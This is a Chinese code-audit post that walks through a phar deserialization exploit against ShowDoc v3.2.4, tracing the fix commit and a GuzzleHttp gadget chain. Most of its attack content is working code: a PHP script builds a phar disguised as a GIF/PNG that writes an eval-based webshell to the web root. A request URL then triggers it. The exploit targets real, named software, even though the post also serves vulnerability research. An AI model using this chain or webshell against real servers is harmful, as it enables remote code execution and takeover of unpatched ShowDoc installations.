【代码审计】star7th/showdoc:v3.2.4 Phar反序列化写webshell

目录

漏洞速览

复现


漏洞速览

微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区

主要就是两步,sql注入拿到用户token,再以用户身份上传恶意phar包打phar反序列化

因为文件上传对用户权限没有限制,故本文对sql注入部分不做探讨。只关注假设已经拿到用户身份(如服务开放注册接口)后如何寻找反序列化链子并利用。

复现

关注官方的commit

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30

这里public->private的过程,再结合new_is_writebale的is_dir功能,不难想到是对phar反序列化的patch

showdoc是基于thinkphp3.2.3的,直接拿现成的反序列化链子打RCE不很现实

关注composer.lock(类比pom.xml)寻找可用依赖

注意到guzzlehttp/guzzle

可以直接打现成的链子写文件,分析文章如下

popchain与对应poc的构造分析 - FreeBuf网络安全行业门户

复制代码
<?php
namespace GuzzleHttp\Cookie {
    class CookieJar
    {
        /** @var SetCookie[] Loaded cookie data */
        private $cookies;
        public function __construct()
        {
            $this->cookies = array(new SetCookie());
        }
        /** @var bool */
        private $strictMode;
    }
    class FileCookieJar extends CookieJar
    {
        private $filename = "/var/www/html/shell.php";
        private $storeSessionCookies = true;
    }
    class SetCookie
    {
        private $data = array('Expires' => '<?php eval($_POST[\'Z3r4y\']);?>');
    }
}
namespace {
    $phar = new Phar("doc.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $o = new \GuzzleHttp\Cookie\FileCookieJar();
    $phar->setMetadata($o);
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
}

生成phar包后改后缀为png直接上传

成功上传后回显文件路径

再触发phar反序列化

复制代码
/server/index.php?s=/home/index/new_is_writeable&file=phar:///var/www/html/Public/Uploads/2024-06-04/665ede741b7e5.png
相关推荐
mooyuan天天1 天前
upload-labs通关笔记-第10关 文件上传之点多重过滤(空格点绕过)
web安全·代码审计·文件上传·文件上传漏洞·upload-labs靶场
uwvwko2 天前
ctfshow——web入门254~258
android·前端·web·ctf·反序列化
Python智慧行囊2 天前
Django 项目创建全攻略
django·web·开发
uwvwko2 天前
BUUCTF——web刷题第一页题解
android·前端·数据库·php·web·ctf
90后小陈老师3 天前
WebXR教学 09 项目7 使用python从0搭建一个简易个人博客
开发语言·python·web
AI+程序员在路上3 天前
REST架构风格介绍
物联网·架构·restful·web
努力学习的明4 天前
Spring MVC 对 JavaWeb 的优化:从核心组件到注解
java·spring·mvc·web
程序员与背包客_CoderZ5 天前
Node.js异步编程——Callback回调函数实现
前端·javascript·node.js·web
AI+程序员在路上7 天前
Web Service及其实现技术(SOAP、REST、XML-RPC)介绍
xml·rpc·web
hnlucky8 天前
通俗易懂版知识点:Keepalived + LVS + Web + NFS 高可用集群到底是干什么的?
linux·前端·学习·github·web·可用性测试·lvs